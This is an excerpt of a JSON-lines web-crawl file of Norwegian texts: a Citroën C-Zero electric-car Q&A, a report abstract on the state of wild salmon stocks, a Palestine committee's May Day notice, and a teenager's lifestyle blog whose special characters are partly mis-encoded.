f\u00e5r demobiler.\n\n**Vil Citro\u00ebn prioritere spesielle kundegrupper eller er det \u00e5pent for alle \u00e5 kj\u00f8pe C-Zero?**\n\nCitro\u00ebn prioriterer ingen, de som vil kj\u00f8pe skal f\u00e5 kj\u00f8pe\\!\n\n**Rekkevidden p\u00e5 C-Zero oppgis til 130 \u2013 150 km. Er dette realistisk i forhold til det kalde klimaet i Norge/Skandinavia?**\n\nDenne rekkevidden er realistisk for store deler av \u00e5ret (grovt sett april/mai til september/oktober), men streng kulde p\u00e5virker selvsagt rekkevidden akkurat som andre forhold ogs\u00e5 gj\u00f8r det, som f.eks. topografien. Over en lang periode, har batteriet lenger levetid i kaldt klima enn i sv\u00e6rt varmt klima.\n\n**Skal det gj\u00f8res andre tilpasninger til nordiske forhold? I Norge har vi blant annet veier som saltes ekstremt mye p\u00e5 vinteren. Vil dette bli en utfordring?**\n\nAlle biler som selges i Skandinavia har en kuldepakke som beskytter bilen ved sn\u00f8 og kulde. Salt p\u00e5 veiene p\u00e5virker ikke C-Zero mer enn andre biler med konvensjonell forbrenningsmotor. Batteriet er beskyttet.\n\n**Det oppgis at C-Zero kan hurtiglades med Yasaki-plugg som g\u00e5r i en 400 V-kontakt. Er alt som er n\u00f8dvendig for hurtiglading inkludert i prisen som oppgis?**\n\nYazaki-pluggen inng\u00e5r ikke i den oppgitte prisen p\u00e5 239 900,- NOK. Den kan kj\u00f8pes som tilvalg.\n\n**Vi \u00f8nsker Citro\u00ebn lykke til\\!**\n\n**  \n**\n", "language": "no", "__index_level_0__": "e093e251-6d4a-4bc1-94c4-958593d10faf"}
{"url": "https://brage.bibsys.no/xmlui/handle/11250/2488936", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:54:48Z", "text": "##### Abstract\n\nTilstanden for 448 norske laksebestander er klassifisert i denne rapporten. Bare \u00e9n av fem laksebestander var i god eller sv\u00e6rt god tilstand (20 %), 35 % av bestandene var i moderat tilstand, 41 % i d\u00e5rlig tilstand, og 4 % var under reetablering etter behandling mot parasitten Gyrodactylus salaris.\n\nDen st\u00f8rste negative p\u00e5virkningen ut fra antall ber\u00f8rte bestander, uavhengig av st\u00f8rrelsen p\u00e5 effekten, var r\u00f8mt oppdrettslaks, fulgt av lakselus, vannkraftregulering og arealinngrep. Ut fra st\u00f8rrelsen p\u00e5 effekten i form av redusert bestandsst\u00f8rrelse, var det de samme fire p\u00e5virkningene som var de st\u00f8rste, men da med lakselus med st\u00f8rst negativ effekt, fulgt av r\u00f8mt oppdrettslaks, vannkraftregulering og arealinngrep. R\u00f8mt oppdrettslaks har imidlertid ikke bare effekt p\u00e5 bestandsst\u00f8rrelse; negative genetiske endringer av bestandene er ogs\u00e5 dokumentert.\n\nKlassifiseringen ble gjort basert p\u00e5 data fra perioden 2010-2014. Den ble gjort ut fra et system som er utviklet for \u00e5 kunne vurdere alle laksebestander. Systemet samsvarer med kvalitetsnormen for villaks, men er forenklet slik at bestander som ikke kan vurderes etter kvalitetsnormen fordi det ikke finnes tilstrekkelig kunnskap til \u00e5 beregne st\u00f8rrelse p\u00e5 gytebestanden, oppn\u00e5else av gytebestandsm\u00e5let eller h\u00f8stbart overskudd likevel kan bli vurdert. Systemet samsvarer ogs\u00e5 med vannforskriften og det nye klassifiseringssystemet til NASCO (North Atlantic Salmon Conservation Organisation). NASCO sitt system har en litt annen struktur, og i denne rapporten er alle bestandene ogs\u00e5 klassifisert etter NASCO sitt system ved bruk av en overgangsn\u00f8kkel.\n\nDet forenklede kategorisystemet er basert p\u00e5 \u00e5 kombinere predikert h\u00f8stingspotensial, ut fra p\u00e5virkningsfaktorer og tilstanden i n\u00e6rliggende bestander vurdert etter kvalitetsnormen, med kunnskap eller antakelser om beskatningsniv\u00e5. Dette brukes til \u00e5 gi en samlet vurdering av tilstand ut fra oppn\u00e5else av gytebestandsm\u00e5l og h\u00f8stingspotensial, og gj\u00f8r at systemet samsvarer med kvalitetsnormen. Kjent kunnskap om bestandene, vurdering av fangststatistikk og innspill fra fylkesmennene og deres lokale kontakter ble brukt i klassifiseringen. I tillegg ble menneskeskapte p\u00e5virkninger klassifisert etter et lignende system som i kvalitetsnormens p\u00e5virkningsanalyse. I denne rapporten presenteres dermed en samlet klassifisering av tilstanden og p\u00e5virkningsfaktorer for norske laksebestander for perioden 2010-2014, der vurderingen for 188 bestander er gjort etter kvalitetsnormen og for 260 bestander etter forenklet system.\n\n\u00a9 Vitenskapelig r\u00e5d for lakseforvaltning\n\n", "language": "no", "__index_level_0__": "66862edb-3b10-4f0d-8aff-dc5513226306"}
{"url": "http://palestinakomiteen.no/kommende/palestinakomiteen-i-larvik-markerer-1-mai/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:40:36Z", "text": "# Palestinakomiteen i Larvik markerer 1.mai\n\nPalestinakomiteen i Larvik deltar i tog med parolen \"Fritt Palestina \u2013 Riv muren\". I tillegg to h\u00e5ndholdte paroler: \"Vennskapsby Larvik-Jenin\". Det vil bli samlet inn underskrifter til et innbyggerinitiativ for vennskapsby som skal presenteres for Larvik kommunestyre.\n\nP\u00e5 Torgm\u00f8te etter toget skal en palestinsk jente, Shaima Abou-Hamida, holde apell.\n\nToget g\u00e5r fra Larvik Torg kl 1200, torgm\u00f8tet starter kl 1300.\n\nVel m\u00f8tt\\!\n\n", "language": "no", "__index_level_0__": "60f6e217-6511-497d-97d1-fe5dcafd780f"}
{"url": "http://jenniferelizabeth.blogg.no/blogg.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:36:35Z", "text": "  \n\n\n**Hva syntes dere?**  \n  \nJennifer Elizabeth\u00a0\n\n### Eksamen gikk bra\\!\n\n  \n  \n\n\n  \n  \nAlle p\u013a gruppen min fikk 5er\\! Vi kom opp i Norsk og trodde virkelig ikke at det kom til \u013a g\u013a s\u013a bra som det gjorde\\! Det er s\u013a deilig at det er ferdig og at det bare er 3 dager igjen til ferien. P\u013a mandag s\u013a skal vi til f\u013arup i Danmark med klassen ogs\u013a har vi fri fra skolen til tirsdag og avsluttning p\u013a onsdag. Sommerferien er virkelig n\u0107r n\u013a og jeg gleder meg.\n\n**Hva fikk dere til karakter i muntlig eksamen?**\n\nJennifer Elizabeth\n\n### Eksamen i morgen\n\n  \n  \n\n\nGod kveld alle sammen\\! Har hatt en suuper dag i dag. Vi var p\u013a \u0139ros (strand) med klassen. Det ble masse spilling av volleyball, grilling og kos. Etter p\u013a var jeg p\u013a b\u013at tur med mange herlige folk. Tilbake til overskriften. Vi har muntlig eksamen i morgen noe jeg gruer meg ekstremt til. H\u013aper s\u013a veldig at min gruppe kommer opp i Engelsk. Hvis vi kommer opp i Norsk d\u0159r jeg. Jaja, vi f\u013ar se i morgen hva som skjer... Eller skal jeg snart legge meg, m\u013a ikke v\u0107re tr\u0159tt i morgen\\! :)\n\n**Har dere hatt muntlig eksamen?**  \n**Hva kom dere opp i?**\n\nJennifer Elizabeth\u00a0\n\n\u00a0\n\n### Sommeren er n\u0107r\n\nHallo\\! Jeg var jo p\u013a hytte tur som dere kanskje fikk med dere. V\u0107ret var jo bare herlig. Sol uten skyer hele helga\\! Fikk jo til og med dukket meg i sj\u0159en. Vannet var iskaldt og bare 14 grader. Ellers hadde vi en tur i b\u013aten, spilte masse volleyball, ble kjent med 2 s\u0159te jenter og hadde kosekvelder p\u013a bryggen med snop. Det er deilig og komme seg vekk litt av og til.\n\n\n\n\n\n  \n  \n  \n  \n\n\n  \n  \n\n\n\u0139\u0139h, deilig\\!  \n  \n**Hva har dere gjort i helga?**  \n  \nJennifer Elizabeth\u00a0\n\n### Hyttetur\n\n  \n  \n\n\nDa stikker jeg p\u013a hyttetur med Lene, Fredrikke og Tone. Vi blir hele helga og har desverre ikke nett der ute og f\u013ar ikke blogget. Kan v\u0107re jeg kommer til \u013a skrive et innlegg fra mobilen. Men n\u013a m\u013a jeg bare pakke ferdig og forte meg, skal g\u013a om 3 minutter\\! Kos dere hvor enn dere er\\!\u00a0\n\n**Hva skal dere i helga?\u00a0**  \n  \nJennifer Elizabeth\u00a0\n\n  - 07.06.2013 kl.14:55 i Blogg\n### Dagens outfit\n\n  \n  \n  \n  \n**Jakke og hettejakke** \u00a0Bikbok \u00a0 **T-skjorte og bukse** \u00a0Cubus \u00a0 **Sko** \u00a0Vans\n\n**Hva syntes dere?\u00a0**\n\nJennifer Elizabeth\n\n### Sminke anbefaling\n\n\n\nHallo\\! Jeg har f\u013att dette herlige produktet av \u00a0**Lookfantastic.com.** Det er en blush fra benefit som gir en fin coral gl\u0159d til skinnene. Siden jeg fikk blushen har jeg brukt den hver dag. Nettsiden jeg fikk denne fra har ogs\u013a super mange forskjellige sminke produkter som er virkelig verdt \u013a skjekke ut\\! Ogs\u013a er det fri frakt til norge\\! Jeg skal i hvertfall kj\u0159pe flere produkter derfra. Ogs\u013a er det mye billigere enn det det er i Norge s\u013a det er et stort pluss for meg\n\n\n\nFargen er delt opp i 4 farger. R\u0159d, Rosa Brun og oransj. Man kan jo velge hvilken man skal ha men kanskje lettest og blande dem sammen som de fleste gj\u0159r. Fargen er den perfekte sommerfargen og den ser utrolig naturlig ut\\! Legger til noen bilder der jeg har den p\u013a meg.  \n  \n  \n  \n  \n  \nDu kan kj\u0159pe blushen **HER**\u00a0til bare 23\u0141. Vet ikke hvor mange norske kroner det er.\u00a0\n\n**Har dere pr\u0159vd noe fra Benefit?**  \n  \nJennifer Elizabeth\u00a0\n\n\u00a0\n\n### Jeg er tilbake\\!\n\n\n\n  \n  \n  \n  \n\u00a0HALLO\\! Har ikke blogget p\u013a en god stund n\u013a. Har v\u0107rt sliten, \u00a0det har skjedd noe galt med kameraet og jeg har aldri \u013arket \u013a gj\u0159re noe med det. S\u013a n\u013a skal jeg begynne \u013a blogge for fult. I dag skal jeg p\u013a h\u013andball trening hvis ikke kneet \u0159delegger. Ellers skal jeg bare sitte ute i sola og kose meg med musikk og smoothie\\! Ha en fin dag videre\\!  \n  \nEr det sol der du er?\n\nJennifer Elizabeth\u00a0\n\n### Always kiss me goodnight\n\n  \n  \n  \n  \nI dag har det v\u0107rt en travel dag. F\u0159rst skole, s\u013a trening, byen og sitte barne vakt. Har v\u0107rt hjemme i s\u013ann 1 time n\u013a. \u00a0Det skal bli deilig og f\u013a lagt seg. Sitter n\u013a i senga og h\u0159rer p\u013a rolig musikk, te lys rund meg og en kopp te. Det er godt \u013a bli litt avslappet f\u0159r man legger seg. Fikk forresten kj\u0159pt meg en bikini i dag fra h\\&m som var d\u0159ds fin ogs\u013a genseren jeg har p\u013a meg p\u013a bildene over. Har tenkt til \u013a vise dere bilder av bikinien snart\\! God natt alle sammen\\!\n\n\u00a0\n### Loveyou, girls\n\n  \n  \n  \n  \n\n### Sunn lunsj/middag\n\nHallo\\! I dag tenkte jeg \u013a vise dere en sunn og enkel matrett som jeg just lagde. Det er s\u013a utrolig godt og tar ikke lang tid \u013a lage.\u00a0\n\n\n\nDu trenger:  \n\u2665\u00a0En kyllingfillet  \n\u2665 R\u0159mme  \n\u2665 Salat  \n\u2665 Grove lefser  \n\u2665 Krydder eller salt og pepper\u00a0\n\n  \nS\u013a steker man bare kyllingen til den er gjennom stekt.  \n  \n  \n  \n  \n  \nOg tar p\u013a det du skal ha. Du kan ogs\u013a for eksempel ta p\u013a forskjellige gr\u0159nnsaker eller fisk i steden for kylling. Det er bare \u013a leke seg frem med noe\\!\u00a0  \n  \n  \n  \n  \n  \nS\u013ann ble det\\! Det var s\u013a herlig. Akkurat n\u013a sitter jeg og fredrikke \u013a spiser det. S\u013a dette kommer jeg til \u013a lage ofte\\!\n\n**Skal dere pr\u0159ve det ut?**\n\n### Helg\\!\n\n  \n  \n  \n  \nHallo\\! Det er s\u013a deilig med helg n\u013a\\! F\u0159ler jeg sier det v\u0107r gang det er helg. Men denne uka har virkelig v\u0107rt stressende. Vi har hatt pr\u0159ve muntlig i Norsk. Det verste faget og komme opp i. Vi fremf\u0159rte i dag og det gikk overaskende bra p\u013a presentasjonen. Men p\u013a sp\u0159rsm\u013alene etter p\u013a gikk det ikke like bra. Vi fikk 5er p\u013a selve fremf\u0159ringen men 4er p\u013agrunn av sp\u0159rsm\u013alene. Men det er helt greit. H\u013aper bare p\u013a \u013a f\u013a 4 i muntlig til sommeren\\! Ellers s\u013a skal jeg en tur til fredrikke etter p\u013a. Det skal bli kos\\!\n\n**Hva skal dere i helgen?**\n\n### Innkj\u0159psvideo\\!\n\nJeg vet at musikken er litt h\u0159y i bakrunden men det tok 2 timer og laste den opp og m\u013atte gj\u0159re det 2 ganger fordi jeg haddegjort feil f\u0159rste gang, s\u013a orket ikke \u013a forandre p\u013a musikken\\! Men h\u013aper dere liker den og ta p\u013a 720 for bedre kvalitet\\! :)\n\n**Hva syntes dere?**\n\n### Naked 2\n\n  \n  \n  \n  \n  \n  \n  \n  \nSe s\u013a fint\\! \u0139\u013a, endelig mitt\\! Jeg ble sponset denne her av **Britique.com\u00a0**for en liten stund siden. Jeg har \u0159snket meg en s\u013annen lenge og n\u013a som jeg endelig har den er jeg s\u013a utrolig glad. Jeg kommer nok til \u013a finne forskjellige m\u013ater \u013a bruker fargene p\u013a. Kan bruke de til hverdags og fest s\u013a dette blir g\u0159y. Nettsiden er trygg og handle p\u013a og kom ganske fort. De har gratis frakt og mange sminkemerker som for eksempel Urban Decay, Too faced, The balm, Revlon, MAC, Bobbi Brown og mange flere. Det er virkelig lurt \u013a skjekke ut siden de sin **HER.** Pallettet kj\u0159per du HER for kun 489 kroner\\! Det er virkelig verdt det.\n\n**Har du en av Naked palettene?**\n\n### Sminkevideo\n\nH\u013aper dere liker den\\!\n\n### Mirror mirror on the wall\n\n  \n  \nHallo alle sammen\\! Dagen begynnte som vanelig med skole og akkurat n\u013a har vi en del prosjekter og pr\u0159ver. Vi har en pr\u0159ve i Rle p\u013a torsdag og en fremf\u0159ring med plakat i Naturfag. Det er s\u013a sinnsykt masse \u013a gj\u0159re og jeg har s\u013a vidt begynnt. Jeg startet \u013a jobbe litt hjemme i dag f\u0159r h\u013andballtreningen. Tror ikke jeg kommer til \u013a f\u013a s\u013a veldig bra p\u013a disse her. H\u013aper p\u013a det beste\\! Ellers s\u013a sitter jeg her \u013a spiser appelsin og knekkebr\u0159d ogs\u013a skal jeg hoppe oppi dusjen\\! H\u013aper alle har hatt en fin dag\\!  \n  \n**Hva har dere gjort i dag?**  \n**Har dere masse pr\u0159ver denne uken?**  \n\u00a0\n\n### Sunnere Iskaffe\n\n\n\n  \n  \n  \n  \nJeg fikk en pakke fra\u00a0**Vannpluss**.no for en liten stund siden der man fikk s\u013ann sm\u013a poser og skulle blande dem med vann. Jeg fikk 12 forskjellige smaker og likte ikke mangen av dem. Men s\u013a skulle jeg smake Iskaffe med karamel og ble helt forelsket\\! Jeg blandet dette med melk istedenfor vann for da ble smaken best\\! Hvis dere har v\u0107rt p\u013a Waynes Coffee og smakt de sin karamel frappoccino smaker den her helt likt\\! Det er helt sykt\\! Det er bare 20 kalorier og 0% fett for de som tenker mye p\u013a det. Jeg anbefaler virkelig denne\\! Skal bestille flere etterhvert\\!\u00a0  \nDere kan f\u013a kj\u0159pt det **HER\u00a0**\u00a0Og det koster bare 42 kroner for 6 stykk\\!\n\n**Har dere smakt disse f\u0159r?**  \n**Skal du smake?\u00a0**\n\n### Rolig fredag\n\n  \n  \n  \n  \n  \n  \nGod fredag\\! Deilig med helg igjen\\! I dag har jeg egentlig ikke gjort noe spessielt. Har f\u013att ryddet litt p\u013a rommet ogs\u013a har jeg spist. Utrolig spennende. Neida, men ikveld stikker jeg en tur ned til Tone og vet egentlig ikke hva vi skal gj\u0159re der da men. Vi finner vell p\u013a noe\\! Testet en ny oppskrift p\u013a havre pannekakene\\! De var s\u013a mye bedre enn de andre jeg lagde. Disse kommer jeg til \u013a lage ofte. Er det noen som vil ha oppskriften? Si ifra\\!\n\n**Har dere lyst p\u013a oppskriften?**\n\n### Justin Bieber\n\n  \n  \n  \n  \nI g\u013ar var en helt syk dag. Vi begynnte \u013a kj\u0159re i halv 10 tiden og kom frem klokka 2. Vi m\u013atte vente 4 timer i k\u0159 kom vi inn til telenor arenaen. \u00a0V\u0107ret var perfekt s\u013a det var egentlig bare koselig og vente i k\u0159, s\u013a det gjorde ingen ting\\! Vi hadde egentlig sitte plasser, men s\u013a sneik vi oss inn til st\u013aplassene\\! Vi var s\u013a heldige at vi ikke ble tatt\\! Ellers s\u013a var konserten mye bedre enn forventet\\! Han er jo bare s\u013a flink og ikke minst kjekk\\! Det har v\u0107rt en super opplevelse som aldri kommer til \u013a glemmes\\!\n\nVar dere p\u013a JB konsert?  \nHvor hadde dere plasser?\u00a0\n\n  - 18.04.2013 kl.16:45 i Blogg\n### Oslo i morgen\n\nDa blir det Oslo tur igjen, men ikke for shopping denne gangen... Vi skal p\u013a justin bieber konsert\\! Det er helt sykt at det er i morgen. Gleder meg masse og tror det kommer til \u013a bli bra selvom vi har sitte plasser. Vi fikk jo hvertfall billetter \\! N\u013a skal vi legge oss siden vi skal opp klokken 7 i morgen. Egentlig da jeg pleier \u013a st\u013a opp til vanlig men.  \nSkriver dette p\u013a mobilen, derfor d\u013arlig bilde st\u0159rrelse.  \nSkal dere p\u013a Justin bieber konsert ?\n\n\n\n### Lenge siden sist\n\nEller ikke.. Det har vell bare g\u013att en uke siden jeg blogget. Men i det siste har jeg v\u0107rt s\u013a opptatt of sliten at jeg ikke har f\u013att tid til \u013a blogge. I tillegg har det v\u0107rt s\u013a stress med kameraet siden jeg ikke har hatt tr\u013adl\u0159s fjern utl\u0159ser, noe som jeg har f\u013att n\u013a\\! S\u013a n\u013a kommer det til \u013a bli bedre bilder og bedre innlegg. Men for \u013a snakke om noe annet har vi historie pr\u0159ve i morgen. F\u0159ler vi har flere pr\u0159ver hver uke fortiden. Kommer snart ikke til \u013a orke mere.\n\n  \n  \n  \nLitt serri\u0159s her ja.\u00a0\n\n**Har dere noen pr\u0159ver denne uken?**\n\n### Helg\n\n  \n  \n  \n  \nEndelig helg. Ikke at det just var p\u013aske ferie da men har v\u0107rt s\u013a sliten fortiden s\u013a det skal bli deilig med litt fri. I g\u013ar hadde jeg bes\u0159k av Lene og Tone og vi s\u013a p\u013a film og spiste masse god frukt\\! Og i kveld vet jeg hva jeg skal gj\u0159re. Tenkte \u013a finne p\u013a noe med ''gjengen'' men litt usikker. Eller s\u013a h\u013aper jeg dere har en fin dag s\u013a kommer det en outfit i morgen\\!  \n  \n**Hva skal dere i dag?\u00a0**\n\n  \n  \nFargen ble litt m\u0159rk, men tror jeg skal farge det lysere. Bilder p\u013a kommer senere\\! :)\n\n**Har du extentions?**\n\nJennifer Elizabeth\n\n### Stripet h\u013aret\n\n  \n  \n  \n  \n  \n  \n  \n  \nDa har jeg f\u013att stripet h\u013aret. Mamma gjorde det p\u013a meg i g\u013ar kveld med hette og det tok ganske langt tid. F\u0159rst av alt har jeg ganske tjukt h\u013ar og det er litt for langt for hette. En ting til var at jeg ikke hadde nok produkt s\u013a det ble litt gul aktig noen steder, men ikke mye\\! Jeg ble forn\u0159yd. Trodde det skulle bli mye verre. Det ble en del lysere og det var det jeg hadde lyst til\\! Dette var jo f\u0159rste gang jeg gjorde dette s\u013a. Neste gang skal vi ha to paker\\!\u00a0  \n  \n**Hva syntes dere?\u00a0**\n\nHallo\\! Istad s\u013a jeg p\u013a noen youtube videoer der noen vlogget om at de var i bahamas og florida osv og fikk meg til \u013a tenke p\u013a at jeg har s\u013a sykt lyst til \u013a reise. Har jo bare v\u0107rt i 3 land. Usa, Tyskland og Danmark. Selv om jeg har v\u0107rt i mange stater i Usa, vil jeg fortsatt reise andre steder ogs\u013a. Har s\u013a lyst \u013a bare reise med en hel gjeng ned til California eller no s\u013ant. Gleder meg til jeg blir eldre\\! Det skal bli deilig. Jaja, tenkte \u013a vise dere noen topp reisem\u013al som jeg vil reise til.\n\n**London**\n\n  \n  \n**Spania**\n\n  \n  \n**Usa**  \n  \n  \n  \n**Bahamas**  \n  \n  \n  \nSe s\u013a fint\\! En gang sier jeg bare. Om det er noen som vil ta seg en tur blir jeg gjerne med.\n\n**Noen steder du vil reise til?**\n\nJakke **Levis** \u00a0Genser og Bukse \u00a0**Gina** **tricot** \u00a0Skjerf \u00a0**Monki** \u00a0Smykke \u00a0**Bikbok** \u00a0Sko \u00a0**Mani**\n\n**Hva syntes dere?**\n\n  \n  \nVar just innom Nelly.com og s\u013a at de hadde f\u013att inn Fanny Lyckman sin kolleksjon\\! Alt er ELSK\\! Hadde jeg bare hatt penger hadde jeg kj\u0159pt meg noe hjem.\\! Kolleksjonen hennes finner dere\u00a0**HER\\!**\n\n**Hva syntes du om kolleksjonen hennes?**\n\nJennifer Elizabeth\n\n### HJELP MEG\\!\n\nGod p\u013aske alle sammen\\! I det siste har jeg tenkt p\u013a \u013a stripe h\u013aret lysere fordi h\u013aret mitt begynner \u013a bli en ''gul'' aktig farge. Har alltid g\u013att til fris\u0159r men siden det koster over 1000 kroner \u013a gj\u0159re det hos fris\u0159ren velger jeg \u013a gj\u0159re det hjemme. Man ser uansett ikke s\u013a mye forskjell n\u013ar jeg striper det siden jeg har ganske lyst h\u013ar fra f\u0159r av. Jeg har to pakker hjemme som mammma bruker som jeg ogs\u013a kommer til \u013a pr\u0159ve ut.\u00a0\n\n\n\nJeg har ikke peiling p\u013a om de er gode eller ikke. Det eneste jeg h\u013aper p\u013a at jeg ikke f\u013ar veldig gulkj\u0107r i h\u013aret. Uff, det er det v\u0107rste.\u00a0\n\n  \n  \n  \n  \nSom du ser p\u013a bildet over er dette min s\u013ann ca min h\u013arfarge.  \n**Det jeg lurer p\u013a er om det er noen der ute som er flink med \u013a farge h\u013aret hjemme og vet litt om de forskjellige h\u013ar farge pakkene og hvilken jeg b\u0159r bruke?  \nBurde jeg stripe h\u013aret hjemme?**\n\nJennifer Elizabeth\u00a0\n\n  - 28.03.2013 kl.13:05 i Blogg\n### Sneak peak p\u013a konkuransen i morgen\n\n\n\n  \n  \nDa har jeg bestemt meg for \u013a ha en konuranse i morgen.\u00a0Feelunique\u00a0har sendt meg en gave, men siden jeg har akkurat samme tenkte jeg \u013a gi den ut til en av dere. Dere f\u013ar se resten av konkuransen i morgen og h\u013aper dere gleder dere\\! Det er en goood premie s\u013a bare vent til i morgen \u013a se resten\\!\n\n**Skal du melde deg p\u013a i morgen?**  \n**Hva tror du premien kommer til \u013a v\u0107re?**\n\nJennifer Elizabeth\n\n  - 27.03.2013 kl.18:25 i Blogg\n  - 21 kommentarer\n### Ny header\\!\n\nDa var det p\u013a tide med ny header\\! Var oppe til halv 4 i g\u013ar for \u013a lage den\\! Kunne ikke legge meg f\u0159r jeg ble ferdig\\! Det kan godt v\u0107re at jeg skal lage en annen senere m\u013atte bare ha en ny i mellom tiden. P\u013a bildet nedenfor ser du den gamle.\u00a0\u00a0\n\n\n\n**Hvilken syntes du var finest?**  \n**Hva syntes du om den nye?\u00a0**\n\nJennifer Elizabeth\n\n### Selvbruning\n\n  \n  \n  \n  \n  \n  \n  \n  \nI g\u013ar testet jeg for f\u0159rste gang ut disse selvbrunings sprayene fra SUNZ. Jeg har aldri pr\u0159vd ut s\u013ann spray. Hvis jeg har tatt selvbruning pleier jeg \u013a ta en krem. Det var lett \u013a spraye produktet p\u013a kroppen siden du ble brun med engang og da kunne man se hvor man hadde tatt og om man trengte \u013a ta p\u013a mer p\u013a forskjellige steder. F\u0159rst ble huden min veldig r\u0159d. Det kan godt v\u0107re at det bare er meg som reagerer p\u013a det, men r\u0159dheten gikk vekk dagen etter. Den gav en fin gylden farge (p\u013a bildene over ser huden min oransj ut men det er bare redigeringen) og forh\u013apentligvis varer den lenge. Jeg sprayet meg inne p\u013a vaskerommet, noe som ikke var det lureste. Hele gulvet ble brunt og f\u0159ttene mine ble helt svarte. I tillegg b\u0159r du ta p\u013a hansker f\u0159r du gj\u0159r dette\\! Jeg er fortsatt helt oransj p\u013a hendene. Men \u0158velse gjl\u0159r mester, er det ikke det man sier? Jeg kommer ihvertfall til \u013a bruke disse mye til sommeren og v\u013aren\\!  \n**Har du pr\u0159vd ut SUNZ f\u0159r?**\n\nJennifer Elizabeth\n\n### Frokost\n\n  \n  \n  \n  \n  \n  \nGod morgen alle sammen\\! Eller det er vell kanskje ikke morgen n\u013a da men. V\u013aknet fakstisk opp halv 1 i dag. De siste dagene har jeg st\u013att opp klokka 9 eller 10. S\u013a det var deilig og f\u013a sovet litt lenge. Ellers s\u013a har jeg f\u013att laget meg en god frokost med nystekte baguetter med skinke, ost og paprika. Og til ''dessert'' Trippel is\\! Noen som har smakt denne? Den er s\u013a god\\! Lurer p\u013a hvor mange jeg har spist av denne. Hmm.... Jaja, det er jo p\u013aske\\!\u00a0  \n  \n**Har dere smakt trippel?**  \n  \nJennifer Elizabeth\u00a0\n\n  \n  \nHallo og god mandag\\! Kjenner det er deilig med ferie n\u013a\\! Sitter her og spiser m\\&m pean\u0159ttsm\u0159r. Haha, h\u0159rtes kanskje ikke s\u013a godt ut men det var ganske s\u013a godt\\! Dagen i dag har g\u013att til \u013a bare slappe av ogs\u013a var jeg hos tannlegen. Hadde 1 hull. Hmm.. Jaja. Om litt skal jeg se p\u013a paradise. Jeg m\u013a jo bare f\u0159lge med p\u013a det. Kos dere i kveld alle sammen\\!  \n  \n**Hva skal dere i kveld?**\n\nJennifer Elizabeth\u00a0\n\n### Natural makeup tutorial\nTrykk p\u013a tannhjulet s\u013a p\u013a 720p for bedre kvalitet\\! H\u013aper dere liker den\\!  \n  \n**Hva syntes dere?**  \n  \nJennifer Elizabeth\u00a0\n\n  \n\n\nI g\u013ar fikk meg og min bror en pakke i posten fra pappa. Hadde \u0159nsket meg noen ting s\u013a han sendte det i en pakke fra USA. Ble utrolig glad n\u013ar den kom og hadde ventet en stund p\u013a det\\! Kommer til \u013a bruke disse masse\\! Senere i dag skal jeg vise dere noen outfit bilder fra dagen i dag. Og i kveld skal jeg ut med Tora\\! Vi skal spise og etter det blir det kino\\! Skikkelig date\\! Hehe. Det blir koselig. Har ikke sett henne p\u013a lenge\\! Kos dere hvor enn dere er\\!\u00a0  \n  \n**Hva skal du i dag?**\n\nJennifer Elizabeth\u00a0\n\n### Levis jakke\n\n  \n  \n  \n  \nKj\u0159pte meg denne vakre oversized jakken fra en butikk i oslo der de selger vintage t\u0159y. Butikken heter Velouria Vintage. Og det beste av alt at den bare kostet 379\\! Det er billig for en Levis jeans jakke\\! Kommer til \u013a bruke denne ofte til v\u013aren og sommeren\\! Gleder meg.  \n  \n**Syntes du den var fin?**  \n  \nJennifer Elizabeth  \n  \n\n### Byen\n\n  \n  \n  \n  \n  \n  \nGod p\u013aske alle sammen\\! Da stikker jeg til byen f\u0159r noen av venninnene mine reiser vekk. VI skal kose oss p\u013a cafe og kikke rundt. Jeg lagde ogs\u013a just en video til dere ogs\u013a s\u013a den skal jeg redigere i p\u013asken\\!  \nN\u013a m\u013a jeg bare l\u0159pe f\u0159r bussen kj\u0159rer\\! Kos dere alle i dag\\!  \n  \n**Hva skal dere i dag?  \nSyntes dere om ny video?**  \nJennifer Elizabeth\u00a0\n\n1 **HER** \u00a02 \u00a0**HER** \u00a03 **HER** \u00a04 **HER** \u00a05 **HER** \u00a06 **HER**\n  \n7 \u00a0**HER** \u00a08 **HER** \u00a09 **HER**  \n  \nFant just ut at **denne**\u00a0(link) nettsiden fantes. Det er s\u013a masse fint\\! Og i tillegg s\u013a er det jo s\u013a billig\\! \u0139hh, dere m\u013a virkelig skjekke det ut\\!\u00a0\n\nNoe som var fint?  \nSkjekket ut nettsiden?  \n  \nJennifer Elizabeth\u00a0\n\n### Its cold outside\n\n  \n  \n  \n  \n  \n  \n  \n  \n  \n  \nJeg er tilbake\\! Ikke at jeg var vekke s\u013a lenge da. Har savnet og blogge og har mange nye ideer \u013a blogge om. Jeg har ogs\u013a en del konkuranser jeg skal ha p\u013a bloggen s\u013a det er bare \u013a f\u0159lge med\\! Jaja, tilbake til overskriften. Forsje l\u0159rdag fikk jeg skjokk over at det begynnte \u013a sn\u0159 igjen og det sn\u0159dde ikke bare litt men en hel haug\\! Er lei av vinteren n\u013a og vil ha sommer. Pr\u0159vde \u013a ta noen bilder til dere, men siden det bl\u013aste s\u013a veldig og var iskaldt ute ble de ikke s\u013a fine. I kveld skal jeg finne p\u013a noe med min kj\u0107re, Lene. Ikke vet jeg hva vi skal gj\u0159re men vi finner nok p\u013a noe\\!\u00a0\n\n**Hva skal dere i kveld?**  \n**Hva syntes dere om bildene?**  \n  \nJennifer Elizabeth\u00a0\n\n  - 22.03.2013 kl.16:25 i Blogg\n### Fri til fredag\n\nAkkurat n\u013a er det veldig mye \u013a gj\u0159re p\u013a skolen f\u0159r p\u013askeferien og jeg f\u013ar nesten ikke tid til noe som helst annet. Jeg har to tentamener, to fremf\u0159ringer, pr\u0159ver og innleveringer. Tenker \u013a ta en liten pause frem til fredag fordi jeg har absolutt ikke tid. Det skal bli deilig med ferie n\u013a og gleder meg veldig\\! Ogs\u013a er rommet mitt snart ferdig s\u013a gleder meg til \u013a vise dere\\! En ting til som er kjipt er at jeg har f\u013att skade i kneet igjen og kan ikke spille h\u013andball akkurat n\u013a. H\u013aper p\u013a at det blir bedre.\u00a0\n\n  \n  \nVi snakkes fredag\\!  \n  \n**Mye \u013a gj\u0159re p\u013a skolen hos dere denne 